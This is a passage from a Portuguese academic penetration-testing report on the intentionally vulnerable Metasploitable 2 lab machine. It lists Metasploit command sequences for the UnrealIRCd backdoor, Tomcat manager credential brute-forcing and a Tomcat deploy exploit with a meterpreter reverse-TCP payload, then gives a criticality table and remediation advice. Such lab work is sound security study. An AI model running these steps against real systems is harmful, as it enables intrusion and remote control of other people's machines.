A imagem abaixo ilustra o payload ja configurado e pronto para o ataque.
Por último utilizamos o comando “run” para a invasão.
49
Figura 63 - Exploit UnrealIrcd
Fonte: Autor
- msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
Figura 64 - Resultado Exploit Unreal IRCD
Fonte: Autor
Nesta invasão após o reconhecimento, tivemos acesso total a máquina
devido ao usuário root que possui autoridade máxima.
Figura 65 - Reconhecimento do Alvo
Fonte: Autor
50
4.21 Porta 8009
A porta 8009 refere-se ao serviço AJP13 (Apache Jserv Protocol v1.3),
este é um protocolo TCP orientado a pacotes que possui o formato binário. Ele
é destinado a melhorar o desempenho sobre o protocolo HTTP que executa as
portas TCP 8080,8180, 8443 e 80. A imagem abaixo ilustra o serviço e a versão
desta porta.
Figura 66 - Informações da Porta 8009
Fonte: Autor
Seu funcionamento se deve ao iniciar o servidor Apache Tomcat, sendo
um serviço que normalmente se encontra em redes internas e não sendo exposta
à redes externas.
Neste cenário não foi possível realizar uma exploração. Durante as
pesquisas, não foi possível obter informações referentes a uma possível invasão,
porem conseguimos obter algumas informações sobre o serviço rodando na
porta 8009, conforme ilustrado abaixo:
- search apache jserv
Figura 67 - Exploit Encontrado Porta 8009
Fonte: Autor
Na sequência utilizamos os comandos a seguir:
51
- use 0
- set rhosts 192.168.0.183
- run
Figura 68 - Resultado Exploit Apache Jserv
Fonte: Autor
52
4.22 Porta 8180
A porta 8180 refere-se ao serviço Apache Tomcat. Este serviço é um
servidor web Java. Está porta foi previamente identificada pelo nmap, conforme
figura abaixo:
Figura 69 - Informações Porta 8180
Fonte: Autor
Para a invasão ao servidor é preciso obter o login e senha. Para coleta
destas informações, foi executado um módulo de ataque por palavras de
dicionário. O ataque identifica combinações que poderá ser utilizado no servidor.
- search tomcat
- use auxiliary/scanner/http/tomcat_mgr_login
- show options
- set RHOSTS 192.168.10.132
- set LPORT 8180
- show options
Figura 70 - Opções Tomcat_mgr_login
Fonte: Autor
53
- run
Figura 71 - Login Obtido
Fonte: Autor
O ataque obteve o login e senha aceito como destacado no código,
possibilitando a invasão na máquina do alvo. Para a invasão, é necessário a
utilização de outro módulo com um payload feito em java. Utilizamos a seguinte
série de comando:
- search tom cat
- use exploit/multi/http/tomcat_mgr_deploy
- show options
- set payload java/meterpreter/reverse_tcp
- set HttpPassword tomcat
- set HttpUsername tomcat
- set RHOSTS 192.168.10.132
- set RPORT 8180
- set LPORT 443
- show options
Figura 72 - Configurações Tomcat_Mgr_deploy
Fonte: Autor
54
- run
Figura 73 - Resultado Exploit mgr_deploy
Fonte: Autor
Nesta etapa, foi feito o reconhecimento do ambiente invadido. também foi
realizado teste de download e upload de arquivos na máquina, sendo possível
fazer download de alguns itens restritos e não podendo fazer upload. A imagem
abaixo ilustra um breve reconhecimento da máquina alvo.
Figura 74 - Reconhecimento Invasão @Tomcat
Fonte: Autor
55
5. Tabela de Criticidade
Neste tópico iremos classificar o nível de criticidade de cada uma das
portas invadidas, de acordo com uma matriz de vulnerabilidade. Será
considerado mais crítico, as portas onde foi possível uma invasão através do
usuário “root”. A seguir, a matriz baseia-se no livro Segurança da informação,
página 212. (Tenório & Araújo, 2019)
Figura 75 - Matriz Criticidade
Impacto
Legenda
N
ív
e
l
d
e
p
ri
v
il
é
g
io
Alto
Médio
Baixo
Fonte: Autor
Figura 76 - Tabela Criticidade das Portas
Porta Serviço Criticidade
21 ftp
22 ssh
23 telnet
25 smtp
53 domain
80 http
111 rpcbind
139 netbios-ssn
445 netbios-ssn
512 exec
513 login
514 shell
1099 Java-rmi
1524 bindshell
2049 nfs
2121 ftp
3306 mysql
5432 postgresql
5900 vnc
6000 X11
6667 irc
8009 Ajp13
8180 HTTP
Fonte: Autor
56
6. Resultados Encontrados
Durante a invasão às portas da metasploitable, percebemos inúmeras
vulnerabilidades que foram possíveis de serem exploradas. A exemplo das
portas 512, 513 e 514, elas permitem uma conexão direta ao sistema através do
netkit-rsh, além disso também fornece autoridade máxima dentro do sistema
através do usuário “root”. Outras portas permitiram acesso ao banco de dados
com permissões de adição e exclusão das informações,conforme a porta 3306
e desta maneira comprometeu o sistema de forma crítica, à medida que a
exclusão de banco de dados pode causar um mal funcionamento de arquivos e
programas.
Por tanto, com estas e as demais vulnerabilidades encontradas e
descritas na tabela de criticidade, é fato que um Cracker (usuário mal
intencionado), tem a possibilidade de invadir o sistema e danifica-lo da forma
que quiser, desde a quebra de senhas até a exclusão de diretórios cruciais para
o funcionamento da máquina.
Por fim, a recomendação é de que atualize todo o sistema, incluindo
softwares mais antigos. Faça uma varredura em todo o sistema até encontrar
arquivos ou softwares maliciosos a fim de mitiga-los. Executar varreduras e
testes periodicamente. Desta forma haverá maior segurança no sistema,
garantindo toda a proteção necessária.
57
7. Referências Bibliográficas
(s.d.). Acesso em Maio de 2022, disponível em github.com: https://github.com/distcc
(s.d.). Acesso em Maio de 2022, disponível em myexploit.wordpress.com:
https://myexploit.wordpress.com/control-smb-445-137-139/
(s.d.). Acesso em Maio de 2022, disponível em github.com:
https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
(s.d.). Acesso em Maio de 2022, disponível em offensive-security.com: https://www.offensive-
security.com/metasploit-unleashed/vnc-authentication/
(Maio de 2019). Acesso em Maio de 2022, disponível em medium.com:
https://medium.com/hacker-toolbelt/metasploitable-2-viii-port-1524-1d53378c3949
(Fevereiro de 2022). Acesso em Maio de 2022, disponível em resources.infosecinstitute.com:
https://resources.infosecinstitute.com/topic/exploiting-nfs-share/
Chandel, R. (Setembro de 2017). Acesso em Maio de 2022, disponível em hackingarticles.in:
https://www.hackingarticles.in/penetration-testing-on-mysql-port-3306/
Chandel, R. (Agosto de 2020). Acesso em Maio de 2022, disponível em hackingarticles.in:
https://www.hackingarticles.in/penetration-testing-on-postgresql-5432/
computersecuritystudent.com. (s.d.). Acesso em Maio de 2022, disponível em
https://www.computersecuritystudent.com/SECURITY_TOOLS/METASPLOITABLE/EX
PLOIT/lesson5/
Ecteruel, E. (2022). Kali Linux – Comandos essenciais. Não Publicado.
Flora, J. C. (2010). Desenvolvimento e Aplicação de Exploits Utilizando o Metasploit
Framework. Terra e Cultura , 113 -122.
HackingTutorials. (2016). Acesso em Maio de 2022, disponível em www.hackingtutorials.org:
https://www.hackingtutorials.org/metasploit-tutorials/metasploitable-2-enumeration/
kanishka10 (Ed.). (Março de 2020). Acesso em Maio de 2022, disponível em
hackercoolmagazine.com: https://www.hackercoolmagazine.com/hacking-rexec-and-
rlogin-services-on-ports-512-513-and-514/
Matheus, Y. (Julho de 2017). www.alura.com.br. Acesso em Maio de 2022, disponível em
https://www.alura.com.br/artigos/como-acessar-servidores-remotamente-com-ssh
Mosqueira, M., Cordeiro, S., & Pinheiro, W. (2016). A Guerra Cibernética: exploração, ataque e
proteção cibernética. REVISTA MILITAR DE CIÊNCIA E TECNOLOGIA, 11-17.
Nick. (Janeiro de 2021). Acesso em Maio de 2022, disponível em
pentesthacker.wordpress.com: https://pentesthacker.wordpress.com/2021/01/10/hack-
metasploitable-with-unrealirc-backdoor/
nvd.nist.gov. (s.d.). Acesso em Maio de 2022, disponível em
https://nvd.nist.gov/vuln/detail/CVE-2004-2687
Tenório, P. N., & Araújo, W. J. (2019). Segurança da Informação - Uma Visão Sistêmica. João
Pessoa: UFPB.
58
www.ibm.com. (Março de 2021). Acesso em Maio de 2022, disponível em
https://www.ibm.com/docs/pt-br/developer-for-zos/9.1.1?topic=subprojects-rexec-ssh-
setup